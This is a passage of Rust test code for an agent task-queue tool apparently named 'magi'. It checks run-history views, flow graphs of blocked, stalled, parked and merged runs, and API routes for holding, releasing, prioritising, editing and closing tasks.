8698            "0123456789abcdef".to_owned(),
8699            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
8700                .to_owned(),
8701            Config::default(),
8702        );
8703        review.id = b.to_owned();
8704        review.status = RunStatus::Merged;
8705        write_state(&f.runs(), &review);
8706
8707        let mut task = Task::new(
8708            "retry".to_owned(),
8709            "Do the thing".to_owned(),
8710            PathBuf::from("/repo/magi"),
8711            Source::Human,
8712        );
8713        task.start(a.to_owned());
8714        task.stall("quota");
8715        task.start(a.to_owned());
8716        task.start(b.to_owned());
8717        task.start(gone.to_owned());
8718        f.queue().put(&mut task).expect("file the task");
8719
8720        let res = f.get(&format!("/api/queue/{}", task.id)).await;
8721        assert_eq!(res.status, 200, "{}", res.body);
8722        let v = res.json();
8723        let h = v["history"].as_array().expect("history");
8724        assert_eq!(h.len(), 4, "{v}");
8725        assert_eq!(h[0]["kind"], "competition");
8726        assert_eq!(h[0]["status"], "stalled");
8727        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
8728        assert_eq!(h[1]["kind"], "resume", "{v}");
8729        assert!(
8730            h[0]["outcome"]
8731                .as_str()
8732                .unwrap()
8733                .contains("unknown. Pass #2"),
8734            "an earlier pass of a resumed run must not claim the final outcome: {v}"
8735        );
8736        assert!(
8737            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
8738            "{v}"
8739        );
8740        assert!(
8741            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
8742            "an unrecorded cause must not be narrated as an operator park: {v}"
8743        );
8744        assert_eq!(h[2]["kind"], "review");
8745        assert!(
8746            h[2]["description"]
8747                .as_str()
8748                .unwrap()
8749                .contains("magi/aaaa/A")
8750        );
8751        assert_eq!(h[2]["status"], "merged");
8752        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
8753        assert_eq!(v["runs_unreadable"], 1);
8754        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
8755        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
8756        assert_eq!(nodes[4]["note"], "unreadable");
8757        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
8758        assert_eq!(v["instruction"], "Do the thing");
8759        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
8760
8761        // The run's own page links back to the task.
8762        let run = f.get(&format!("/api/runs/{a}")).await.json();
8763        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
8764
8765        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
8766    }
8767
8768    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
8769        let mut s = RunState::new(
8770            PathBuf::from("/repo/magi"),
8771            "main".to_owned(),
8772            "0123456789abcdef".to_owned(),
8773            "Do it".to_owned(),
8774            Config::default(),
8775        );
8776        s.status = status;
8777        edit(&mut s);
8778        s
8779    }
8780
8781    fn flow_task(runs: &[&str]) -> Task {
8782        let mut t = Task::new(
8783            "t".to_owned(),
8784            "Do it".to_owned(),
8785            PathBuf::from("/repo/magi"),
8786            Source::Human,
8787        );
8788        for r in runs {
8789            t.start((*r).to_owned());
8790        }
8791        t
8792    }
8793
8794    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
8795        let h = task_history(task, |id| {
8796            states
8797                .iter()
8798                .find(|(i, _)| *i == id)
8799                .and_then(|(_, s)| s.clone())
8800        });
8801        task_flow(task, &h, 5)
8802    }
8803
8804    #[test]
8805    fn flow_opens_with_the_chat_that_queued_the_task() {
8806        let mut t = flow_task(&[]);
8807        t.source = Source::Agent {
8808            run: "a b/c".to_owned(),
8809            node: crate::queue::CHAT_NODE.to_owned(),
8810        };
8811        let f = flow_for(&t, &[]);
8812        assert_eq!(f.nodes[0].key, "chat");
8813        assert_eq!(f.nodes[0].kind, "chat");
8814        assert_eq!(
8815            f.nodes[0].label,
8816            format!("Chat {}", crate::queue::short("a b/c"))
8817        );
8818        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
8819        assert_eq!(f.nodes[1].key, "start");
8820        assert_eq!(
8821            f.edges[0],
8822            FlowEdge {
8823                from: "chat".to_owned(),
8824                to: "start".to_owned(),
8825                label: "queued from chat".to_owned(),
8826                attempt: AttemptCost::None,
8827            }
8828        );
8829    }
8830
8831    #[test]
8832    fn flow_has_no_chat_box_for_other_sources() {
8833        for source in [
8834            Source::Human,
8835            Source::Issue {
8836                number: 3,
8837                repo: "o/r".to_owned(),
8838            },
8839            Source::Agent {
8840                run: "20260904-014455-ab12".to_owned(),
8841                node: "implement".to_owned(),
8842            },
8843        ] {
8844            let mut t = flow_task(&[]);
8845            t.source = source;
8846            let f = flow_for(&t, &[]);
8847            assert_eq!(f.nodes[0].key, "start");
8848            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
8849            assert!(f.edges.iter().all(|e| e.from != "chat"));
8850        }
8851    }
8852
8853    const FA: &str = "20260902-140501-aaaa";
8854    const FB: &str = "20260902-140502-bbbb";
8855
8856    #[test]
8857    fn flow_follows_blocked_retry_merged_to_done() {
8858        let mut t = flow_task(&[FA, FB]);
8859        t.status = TaskStatus::Done;
8860        let f = flow_for(
8861            &t,
8862            &[
8863                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
8864                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
8865            ],
8866        );
8867        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
8868        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
8869        assert_eq!(f.edges.len(), 3);
8870        assert_eq!(f.edges[0].label, "claimed");
8871        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
8872        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
8873        assert_eq!(f.edges[2].label, "merged \u{2192} done");
8874        assert_eq!(
8875            f.nodes[2].href.as_deref(),
8876            Some("#/runs/20260902-140502-bbbb")
8877        );
8878        assert!(f.nodes[2].decided);
8879    }
8880
8881    #[test]
8882    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
8883        let quota = || {
8884            flow_run(RunStatus::Stalled, |s| {
8885                s.quota.push(crate::run::QuotaLoss {
8886                    seat: "judge-1".to_owned(),
8887                    node: "judge".to_owned(),
8888                    at: Timestamp::now(),
8889                    reset: None,
8890                })
8891            })
8892        };
8893        let mut t = flow_task(&[FA, FA]);
8894        t.status = TaskStatus::Queued;
8895        let f = flow_for(&t, &[(FA, Some(quota()))]);
8896        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
8897        assert_eq!(f.nodes[1].note, Some("interrupted"));
8898        assert_eq!(
8899            f.nodes[1].status, None,
8900            "no outcome copied onto an earlier pass"
8901        );
8902        assert_eq!(
8903            f.edges[1].attempt,
8904            AttemptCost::Unknown,
8905            "a resume does not prove the earlier pass was refunded"
8906        );
8907        assert!(f.edges[1].label.contains("resume the same run"));
8908        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
8909        assert_eq!(
8910            f.edges[2].label,
8911            "stalled after a resume, refund unknown \u{2192} queued"
8912        );
8913        assert!(!f.nodes[2].decided, "a stall is not a decision");
8914        assert_eq!(f.nodes[2].note, Some("no verdict"));
8915    }
8916
8917    #[test]
8918    fn flow_single_pass_quota_stall_is_refunded() {
8919        let t = flow_task(&[FA]);
8920        let f = flow_for(
8921            &t,
8922            &[(
8923                FA,
8924                Some(flow_run(RunStatus::Stalled, |s| {
8925                    s.quota.push(crate::run::QuotaLoss {
8926                        seat: "judge-1".to_owned(),
8927                        node: "judge".to_owned(),
8928                        at: Timestamp::now(),
8929                        reset: None,
8930                    })
8931                })),
8932            )],
8933        );
8934        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
8935    }
8936
8937    #[test]
8938    fn flow_parked_refunds_and_stall_without_quota_spends() {
8939        let mut t = flow_task(&[FA]);
8940        t.status = TaskStatus::Queued;
8941        let f = flow_for(
8942            &t,
8943            &[(
8944                FA,
8945                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
8946            )],
8947        );
8948        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
8949        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
8950        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
8951        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
8952        assert!(!f.nodes[1].decided);
8953    }
8954
8955    #[test]
8956    fn flow_keeps_an_unreadable_run_as_its_own_node() {
8957        let t = flow_task(&[FA, FB]);
8958        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
8959        assert_eq!(f.nodes[1].note, Some("unreadable"));
8960        assert!(!f.nodes[1].readable);
8961        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
8962        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
8963    }
8964
8965    #[test]
8966    fn flow_names_the_branch_of_a_review_only_run() {
8967        let t = flow_task(&[FA]);
8968        let f = flow_for(
8969            &t,
8970            &[(
8971                FA,
8972                Some(flow_run(RunStatus::Merged, |s| {
8973                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
8974                })),
8975            )],
8976        );
8977        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
8978        assert_eq!(
8979            f.nodes[1].detail.as_deref(),
8980            Some("review-only run of branch magi/x/A")
8981        );
8982    }
8983
8984    #[test]
8985    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
8986        let mut t = flow_task(&[FA]);
8987        t.status = TaskStatus::Held;
8988        let pr = crate::run::PrRecord {
8989            url: "https://example.test/pr/1".to_owned(),
8990            number: 1,
8991            state: "open".to_owned(),
8992            checks: "green".to_owned(),
8993            round: 0,
8994            rounds: 3,
8995            red_at_merge: Vec::new(),
8996        };
8997        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
8998        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
8999        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
9000        t.status = TaskStatus::Done;
9001        let f = flow_for(&t, &[(FA, Some(blocked))]);
9002        assert_eq!(f.edges[1].label, "closed by hand: task is done");
9003    }
9004
9005    #[test]
9006    fn flow_with_no_runs_goes_from_queued_to_queued() {
9007        let t = flow_task(&[]);
9008        let f = flow_for(&t, &[]);
9009        assert_eq!(f.nodes.len(), 2);
9010        assert_eq!(f.edges.len(), 1);
9011        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
9012        assert_eq!(f.edges[0].attempt, AttemptCost::None);
9013    }
9014
9015    /// A run parked mid-flight keeps a non-terminal status; the page must
9016    /// still say why it stopped and that the attempt came back.
9017    #[test]
9018    fn a_parked_non_terminal_run_is_explained_as_parked() {
9019        let mut s = RunState::new(
9020            PathBuf::from("/repo/magi"),
9021            "main".to_owned(),
9022            "0123456789abcdef".to_owned(),
9023            "Do it".to_owned(),
9024            Config::default(),
9025        );
9026        s.status = RunStatus::Implementing;
9027        s.parked = true;
9028        let task = Task::new(
9029            "t".to_owned(),
9030            "Do it".to_owned(),
9031            PathBuf::from("/repo/magi"),
9032            Source::Human,
9033        );
9034        let v = task_run_view(
9035            "20260902-140501-aaaa",
9036            Some(&s),
9037            RunSlot {
9038                n: 1,
9039                resumed: false,
9040                resumed_later: None,
9041                prior: None,
9042                last: true,
9043            },
9044            &task,
9045        );
9046        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
9047    }
9048
9049    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
9050        let mut s = flow_run(RunStatus::Implementing, edit);
9051        s.parked = false;
9052        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
9053        task_run_view(
9054            "20260902-140501-aaaa",
9055            Some(&s),
9056            RunSlot {
9057                n: 1,
9058                resumed: false,
9059                resumed_later: Some(2),
9060                prior: None,
9061                last: false,
9062            },
9063            &task,
9064        )
9065    }
9066
9067    #[test]
9068    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
9069        let v = earlier_pass_view(|_| {});
9070        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
9071        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9072        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
9073        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
9074        assert_eq!(v.exit, RunExit::Interrupted);
9075        assert_eq!(v.attempt, AttemptCost::Unknown);
9076    }
9077
9078    #[test]
9079    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
9080        let v = earlier_pass_view(|s| {
9081            s.quota.push(crate::run::QuotaLoss {
9082                seat: "judge-1".to_owned(),
9083                node: "judge".to_owned(),
9084                at: Timestamp::now(),
9085                reset: None,
9086            });
9087        });
9088        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
9089        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9090        assert_eq!(v.attempt, AttemptCost::Unknown);
9091    }
9092
9093    #[test]
9094    fn the_current_pass_states_its_recorded_cause_and_cost() {
9095        let slot = || RunSlot {
9096            n: 1,
9097            resumed: false,
9098            resumed_later: None,
9099            prior: None,
9100            last: true,
9101        };
9102        let task = flow_task(&["20260902-140501-aaaa"]);
9103        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
9104        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
9105        assert_eq!(
9106            (v.exit, v.attempt),
9107            (RunExit::Parked, AttemptCost::Refunded)
9108        );
9109        let spent = flow_run(RunStatus::Blocked, |_| {});
9110        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
9111        assert_eq!(v.attempt, AttemptCost::Spent);
9112        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
9113    }
9114
9115    #[tokio::test]
9116    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
9117        let f = Fixture::start().await;
9118        let queue = f.queue();
9119        let mut task = Task::new(
9120            "spent".to_owned(),
9121            "Try again".to_owned(),
9122            PathBuf::from("/repo/magi"),
9123            Source::Human,
9124        );
9125        task.start("20260902-140502-bbbb".to_owned());
9126        task.fail("agent gave up", 9);
9127        queue.put(&mut task).expect("file the task");
9128
9129        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9130        assert_eq!(held.status, 200);
9131        assert_eq!(held.json()["status_str"], "held");
9132
9133        let released = f
9134            .post(&format!("/api/queue/{}/release", task.id), None)
9135            .await;
9136        assert_eq!(released.status, 200);
9137        assert_eq!(released.json()["status_str"], "queued");
9138        assert_eq!(
9139            released.json()["attempts"],
9140            0,
9141            "release is a real second chance, not an instant re-hold"
9142        );
9143        assert_eq!(
9144            queue.get(&task.id).expect("reload").status,
9145            TaskStatus::Queued,
9146            "the change is on disk, not only in the reply"
9147        );
9148        assert!(
9149            !f.home
9150                .path()
9151                .join("queue")
9152                .join(format!("{}.lock", task.id))
9153                .exists(),
9154            "the claim the mutation took is released again"
9155        );
9156    }
9157
9158    #[tokio::test]
9159    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
9160        let f = Fixture::start().await;
9161        let queue = f.queue();
9162        let mut task = Task::new(
9163            "busy".to_owned(),
9164            "Running right now".to_owned(),
9165            PathBuf::from("/repo/magi"),
9166            Source::Human,
9167        );
9168        queue.put(&mut task).expect("file the task");
9169        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9170
9171        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9172
9173        assert_eq!(res.status, 409);
9174        assert_eq!(
9175            queue.get(&task.id).expect("reload").status,
9176            TaskStatus::Queued,
9177            "the refused hold changed nothing"
9178        );
9179    }
9180
9181    #[tokio::test]
9182    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
9183        let f = Fixture::start().await;
9184        let queue = f.queue();
9185        let mut task = Task::new(
9186            "waiting on the migration".to_owned(),
9187            "Do the thing".to_owned(),
9188            PathBuf::from("/repo/magi"),
9189            Source::Human,
9190        );
9191        queue.put(&mut task).expect("file the task");
9192
9193        let held = f
9194            .post(
9195                &format!("/api/queue/{}/hold", task.id),
9196                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
9197            )
9198            .await;
9199        assert_eq!(held.status, 200, "{}", held.body);
9200        assert_eq!(held.json()["status_str"], "held");
9201        assert_eq!(
9202            held.json()["hold_reason"],
9203            "waiting for 20260101-000000-aaaa to land"
9204        );
9205
9206        let listed = f.get("/api/queue").await.json();
9207        assert_eq!(
9208            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
9209            "the card reads the reason off the same list route"
9210        );
9211
9212        // A hold with no body at all must keep working - most holds have no
9213        // reason to give.
9214        let mut plain = Task::new(
9215            "no reason given".to_owned(),
9216            "Do another thing".to_owned(),
9217            PathBuf::from("/repo/magi"),
9218            Source::Human,
9219        );
9220        queue.put(&mut plain).expect("file the task");
9221        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
9222        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
9223        assert!(held_plain.json()["hold_reason"].is_null());
9224
9225        let released = f
9226            .post(&format!("/api/queue/{}/release", task.id), None)
9227            .await;
9228        assert_eq!(released.status, 200);
9229        assert!(
9230            released.json()["hold_reason"].is_null(),
9231            "a release must clear the reason so the next hold does not inherit it"
9232        );
9233    }
9234
9235    #[tokio::test]
9236    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
9237        let f = Fixture::start().await;
9238        let queue = f.queue();
9239        let mut older = Task::new(
9240            "filed first".to_owned(),
9241            "x".to_owned(),
9242            PathBuf::from("/repo/magi"),
9243            Source::Human,
9244        );
9245        older.id = "20260101-000001-aaaa".to_owned();
9246        let mut newer = Task::new(
9247            "filed second".to_owned(),
9248            "x".to_owned(),
9249            PathBuf::from("/repo/magi"),
9250            Source::Human,
9251        );
9252        newer.id = "20260101-000002-bbbb".to_owned();
9253        queue.put(&mut older).expect("file older");
9254        queue.put(&mut newer).expect("file newer");
9255
9256        // Equal priority: the newer task leads, the same order the old
9257        // newest-first `list()` already gave every equal-priority queue.
9258        let before = f.get("/api/queue").await.json();
9259        assert_eq!(before[0]["id"], newer.id);
9260        assert_eq!(before[1]["id"], older.id);
9261
9262        // Raising the *older* task is the meaningful case: it can only lead
9263        // now because its priority says so, not because it happens to be
9264        // newest.
9265        let raised = f
9266            .post(
9267                &format!("/api/queue/{}/priority", older.id),
9268                Some(r#"{"priority":10}"#),
9269            )
9270            .await;
9271        assert_eq!(raised.status, 200, "{}", raised.body);
9272        assert_eq!(raised.json()["priority"], 10);
9273
9274        let after = f.get("/api/queue").await.json();
9275        let names: Vec<&str> = after
9276            .as_array()
9277            .unwrap()
9278            .iter()
9279            .map(|t| t["id"].as_str().unwrap())
9280            .collect();
9281        // Highest priority first, which is the order next_runnable and
9282        // `magi task list` both use - GET /api/queue must agree with it
9283        // immediately, not just once the loop claims the task.
9284        assert_eq!(names[0], older.id, "the raised task now sorts first");
9285    }
9286
9287    #[tokio::test]
9288    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
9289        let f = Fixture::start().await;
9290        let queue = f.queue();
9291        let mut task = Task::new(
9292            "in flight".to_owned(),
9293            "x".to_owned(),
9294            PathBuf::from("/repo/magi"),
9295            Source::Human,
9296        );
9297        task.start("20260902-140502-bbbb".to_owned());
9298        queue.put(&mut task).expect("file the task");
9299
9300        let res = f
9301            .post(
9302                &format!("/api/queue/{}/priority", task.id),
9303                Some(r#"{"priority":9}"#),
9304            )
9305            .await;
9306        assert_eq!(res.status, 400, "{}", res.body);
9307        assert!(
9308            res.json()["error"]
9309                .as_str()
9310                .is_some_and(|e| e.contains("running")),
9311            "{}",
9312            res.body
9313        );
9314        assert_eq!(
9315            queue.get(&task.id).expect("reload").priority,
9316            0,
9317            "the refused write must not partially apply"
9318        );
9319    }
9320
9321    #[tokio::test]
9322    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
9323        let f = Fixture::start().await;
9324        let queue = f.queue();
9325        let mut task = Task::new(
9326            "old title".to_owned(),
9327            "old instruction".to_owned(),
9328            PathBuf::from("/repo/magi"),
9329            Source::Agent {
9330                run: "20260101-000000-beef".to_owned(),
9331                node: "implement".to_owned(),
9332            },
9333        );
9334        task.runs.push("20260101-000000-beef".to_owned());
9335        queue.put(&mut task).expect("file the task");
9336        let created_at = task.created_at;
9337
9338        let edited = f
9339            .post(
9340                &format!("/api/queue/{}/edit", task.id),
9341                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
9342            )
9343            .await;
9344        assert_eq!(edited.status, 200, "{}", edited.body);
9345        let body = edited.json();
9346        assert_eq!(body["title"], "new title");
9347        assert_eq!(body["instruction"], "new instruction");
9348        assert_eq!(body["id"], task.id, "editing must not mint a new id");
9349        assert_eq!(body["created_at"], created_at.to_string());
9350        assert_eq!(
9351            body["source"]["kind"], "agent",
9352            "editing a task an agent filed must not turn it human: {body}"
9353        );
9354        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
9355
9356        let reloaded = queue.get(&task.id).expect("reload");
9357        assert_eq!(reloaded.title, "new title");
9358        assert_eq!(reloaded.instruction, "new instruction");
9359    }
9360
9361    #[tokio::test]
9362    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
9363        let f = Fixture::start().await;
9364        let queue = f.queue();
9365        let mut owner = Task::new(
9366            "owner".to_owned(),
9367            "review it".to_owned(),
9368            PathBuf::from("/repo/magi"),
9369            Source::Human,
9370        );
9371        owner.review_branch = Some("magi/ab12/A".to_owned());
9372        queue.put(&mut owner).expect("file the owner");
9373        let mut task = Task::new(
9374            "draft".to_owned(),
9375            "old".to_owned(),
9376            PathBuf::from("/repo/magi"),
9377            Source::Human,
9378        );
9379        queue.put(&mut task).expect("file the draft");
9380        let url = format!("/api/queue/{}/edit", task.id);
9381
9382        let refused = f
9383            .post(
9384                &url,
9385                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
9386            )
9387            .await;
9388        assert_eq!(refused.status, 409, "{}", refused.body);
9389        let msg = refused.json()["error"]
9390            .as_str()
9391            .unwrap_or_default()
9392            .to_owned();
9393        assert!(
9394            msg.contains("magi/ab12/A") && msg.contains("force"),
9395            "{msg}"
9396        );
9397        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
9398
9399        let forced = f
9400            .post(
9401                &url,
9402                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
9403            )
9404            .await;
9405        assert_eq!(forced.status, 200, "{}", forced.body);
9406    }
9407
9408    #[tokio::test]
9409    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
9410        let f = Fixture::start().await;
9411        let queue = f.queue();
9412        let mut task = Task::new(
9413            "in flight".to_owned(),
9414            "do not touch".to_owned(),
9415            PathBuf::from("/repo/magi"),
9416            Source::Human,
9417        );
9418        task.start("20260902-140502-bbbb".to_owned());
9419        queue.put(&mut task).expect("file the task");
9420
9421        let res = f
9422            .post(
9423                &format!("/api/queue/{}/edit", task.id),
9424                Some(r#"{"title":"x","instruction":"y"}"#),
9425            )
9426            .await;
9427        assert_eq!(res.status, 400, "{}", res.body);
9428        assert!(
9429            res.json()["error"]
9430                .as_str()
9431                .is_some_and(|e| e.contains("running")),
9432            "{}",
9433            res.body
9434        );
9435        assert_eq!(
9436            queue.get(&task.id).expect("reload").instruction,
9437            "do not touch",
9438            "the refused edit must not change the file"
9439        );
9440    }
9441
9442    #[tokio::test]
9443    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
9444        let f = Fixture::start().await;
9445        let queue = f.queue();
9446        let mut task = Task::new(
9447            "busy".to_owned(),
9448            "Running right now".to_owned(),
9449            PathBuf::from("/repo/magi"),
9450            Source::Human,
9451        );
9452        queue.put(&mut task).expect("file the task");
9453        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9454
9455        let priority = f
9456            .post(
9457                &format!("/api/queue/{}/priority", task.id),
9458                Some(r#"{"priority":9}"#),
9459            )
9460            .await;
9461        assert_eq!(priority.status, 409, "{}", priority.body);
9462
9463        let edit = f
9464            .post(
9465                &format!("/api/queue/{}/edit", task.id),
9466                Some(r#"{"title":"x","instruction":"y"}"#),
9467            )
9468            .await;
9469        assert_eq!(edit.status, 409, "{}", edit.body);
9470    }
9471
9472    #[tokio::test]
9473    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
9474        let f = Fixture::start().await;
9475        let queue = f.queue();
9476        let mut task = Task::new(
9477            "shipped by hand".to_owned(),
9478            "merged outside the loop".to_owned(),
9479            PathBuf::from("/repo/magi"),
9480            Source::Agent {
9481                run: "20260101-000000-b455".to_owned(),
9482                node: "implement".to_owned(),
9483            },
9484        );
9485        task.runs.push("20260101-000000-b455".to_owned());
9486        task.runs.push("20260101-000000-9af4".to_owned());
9487        queue.put(&mut task).expect("file the task");
9488        let created_at = task.created_at;
9489
9490        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9491        assert_eq!(done.status, 200, "{}", done.body);
9492        assert_eq!(done.json()["status_str"], "done");
9493
9494        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
9495        assert_eq!(
9496            reloaded.runs,
9497            ["20260101-000000-b455", "20260101-000000-9af4"]
9498        );
9499        assert_eq!(
9500            reloaded.source,
9501            Source::Agent {
9502                run: "20260101-000000-b455".to_owned(),
9503                node: "implement".to_owned(),
9504            }
9505        );
9506        assert_eq!(reloaded.created_at, created_at);
9507    }
9508
9509    #[tokio::test]
9510    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
9511        // `done` is allowed on any status, including `held`, with no release
9512        // in between - so a task held for a reason and then closed directly
9513        // must not keep reading as "waiting on" it afterwards, on its card or
9514        // in `magi task show`.
9515        let f = Fixture::start().await;
9516        let queue = f.queue();
9517        let mut task = Task::new(
9518            "landed while held".to_owned(),
9519            "x".to_owned(),
9520            PathBuf::from("/repo/magi"),
9521            Source::Human,
9522        );
9523        task.hold_manual(Some("waiting on 3ed9".to_owned()));
9524        queue.put(&mut task).expect("file the held task");
9525
9526        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9527        assert_eq!(done.status, 200, "{}", done.body);
9528        assert_eq!(done.json()["status_str"], "done");
9529        assert!(
9530            done.json()["hold_reason"].is_null(),
9531            "a done task cannot still be waiting on something: {}",
9532            done.body
9533        );
9534    }
9535
9536    #[tokio::test]
9537    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
9538        // `queue_done` is the phone's way to close a task the loop never
9539        // settled itself - after confirming a manual GitHub merge, say - and
9540        // that is just as much "this task's story is over" as the loop's own
9541        // `Merged`/`Ready` path, so it must trigger the same cleanup.
9542        let f = Fixture::start().await;
9543        let queue = f.queue();
9544        let runs = f.runs();
9545        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
9546        // The last attempt has to have actually landed for the earlier one
9547        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
9548        // for the case where it didn't.
9549        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
9550
9551        let mut task = Task::new(
9552            "landed by hand".to_owned(),
9553            "x".to_owned(),
9554            PathBuf::from("/repo/magi"),
9555            Source::Human,
9556        );
9557        task.runs.push("20260101-000000-doa1".to_owned());
9558        task.runs.push("20260101-000000-doa2".to_owned());
9559        queue.put(&mut task).expect("file the task");
9560
9561        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9562        assert_eq!(done.status, 200, "{}", done.body);
9563
9564        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
9565            .expect("run still on disk under this fixture's own home");
9566        assert_eq!(
9567            reloaded_run.status,
9568            RunStatus::Superseded,
9569            "closing the task by hand must relabel the earlier blocked attempt exactly \
9570             like the loop's own settle path does"
9571        );
9572    }
9573
9574    #[tokio::test]
9575    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
9576        // Closing a task by hand is allowed from any status, including one
9577        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
9578        // manual merge the loop never watched, say. Nothing here is provably
9579        // why the task is done, so nothing earlier gets relabelled either.
9580        let f = Fixture::start().await;
9581        let queue = f.queue();
9582        let runs = f.runs();
9583        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
9584        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
9585
9586        let mut task = Task::new(
9587            "closed with nothing actually landed".to_owned(),
9588            "x".to_owned(),
9589            PathBuf::from("/repo/magi"),
9590            Source::Human,
9591        );
9592        task.runs.push("20260101-000000-dob1".to_owned());
9593        task.runs.push("20260101-000000-dob2".to_owned());
9594        queue.put(&mut task).expect("file the task");
9595
9596        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9597        assert_eq!(done.status, 200, "{}", done.body);
9598
9599        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
9600            .expect("run still on disk under this fixture's own home");
9601        assert_eq!(
9602            reloaded_run.status,
9603            RunStatus::Blocked,
9604            "the last recorded attempt never landed, so the earlier one must not be \
9605             relabelled as superseded by it"
9606        );
9607    }
9608
9609    #[tokio::test]
9610    async fn unknown_ids_are_json_not_found_on_both_stores() {
9611        let f = Fixture::start().await;
9612
9613        let run = f.get("/api/runs/nosuchrun").await;
9614        let task = f.post("/api/queue/nosuchtask/hold", None).await;
9615
9616        assert_eq!(run.status, 404);
9617        assert_eq!(task.status, 404);
9618        assert!(
9619            run.json()["error"]
9620                .as_str()
9621                .is_some_and(|e| e.contains("run")),
9622            "the error names what was not found: {}",
9623            run.body
9624        );
9625        assert!(
9626            task.json()["error"]
9627                .as_str()
9628                .is_some_and(|e| e.contains("task")),
